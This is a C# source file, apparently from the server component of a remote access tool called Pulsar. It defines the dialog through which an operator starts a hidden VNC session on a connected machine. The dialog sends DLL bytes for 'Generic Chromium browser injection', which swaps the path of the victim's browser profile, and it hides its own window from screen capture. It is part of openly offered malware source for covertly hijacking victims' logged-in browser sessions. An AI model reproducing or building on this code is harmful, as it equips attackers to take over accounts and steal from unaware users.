Files
i2p 773d05f8f1
Pulsar .NET 9.0 Windows Release / build (push) Waiting to run
Mirror to Codeberg and Gitea / mirror (push) Waiting to run
initial commit
2026-08-27 10:57:58 -06:00

99 lines
3.5 KiB
C#

using Pulsar.Common.Messages.Monitoring.HVNC;
using Pulsar.Server.Forms.DarkMode;
using Pulsar.Server.Networking;
using System;
using System.IO;
using System.Windows.Forms;
namespace Pulsar.Server.Forms
{
public partial class FrmHVNCPopUp : Form
{
private readonly Client _client;
private readonly byte[] _dllBytes;
public FrmHVNCPopUp(Client client, byte[] dllBytes)
{
_client = client;
_dllBytes = dllBytes;
InitializeComponent();
DarkModeManager.ApplyDarkMode(this);
ScreenCaptureHider.ScreenCaptureHider.Apply(this.Handle);
}
private void btnBrowse_Click(object sender, EventArgs e)
{
using (OpenFileDialog openFileDialog = new OpenFileDialog())
{
openFileDialog.Filter = "Executable files (*.exe)|*.exe|All files (*.*)|*.*";
openFileDialog.Title = "Select Browser Executable";
openFileDialog.CheckFileExists = true;
if (openFileDialog.ShowDialog() == DialogResult.OK)
{
txtBrowserPath.Text = openFileDialog.FileName;
}
}
}
private void btnStart_Click(object sender, EventArgs e)
{
if (string.IsNullOrWhiteSpace(txtBrowserPath.Text))
{
MessageBox.Show("Please specify a browser executable path.", "Validation Error",
MessageBoxButtons.OK, MessageBoxIcon.Warning);
return;
}
if (string.IsNullOrWhiteSpace(txtSearchPattern.Text))
{
MessageBox.Show("Please specify a search pattern.", "Validation Error",
MessageBoxButtons.OK, MessageBoxIcon.Warning);
return;
}
if (string.IsNullOrWhiteSpace(txtReplacementPath.Text))
{
MessageBox.Show("Please specify a replacement path.", "Validation Error",
MessageBoxButtons.OK, MessageBoxIcon.Warning);
return;
}
_client.Send(new StartHVNCProcess
{
Path = "GenericChromium",
DontCloneProfile = false,
DllBytes = _dllBytes,
CustomBrowserPath = txtBrowserPath.Text.Trim(),
CustomSearchPattern = txtSearchPattern.Text.Trim(),
CustomReplacementPath = txtReplacementPath.Text.Trim()
});
MessageBox.Show(
$"Generic Chromium browser injection started.\n\n" +
$"Browser: {Path.GetFileName(txtBrowserPath.Text)}\n" +
$"Search: {txtSearchPattern.Text}\n" +
$"Replace: {txtReplacementPath.Text}",
"Browser Started",
MessageBoxButtons.OK,
MessageBoxIcon.Information
);
this.Close();
}
private void btnCancel_Click(object sender, EventArgs e)
{
this.Close();
}
private void FrmHVNCPopUp_Load(object sender, EventArgs e)
{
toolTip1.SetToolTip(txtBrowserPath, "Full path to the browser executable (e.g., C:\\Program Files\\Vivaldi\\Application\\vivaldi.exe)");
toolTip1.SetToolTip(txtSearchPattern, "String pattern to search for in browser paths (e.g., Local\\Vivaldi\\User Data)");
toolTip1.SetToolTip(txtReplacementPath, "String to replace the search pattern with (e.g., Local\\Vivaldi\\KDOT)");
}
}
}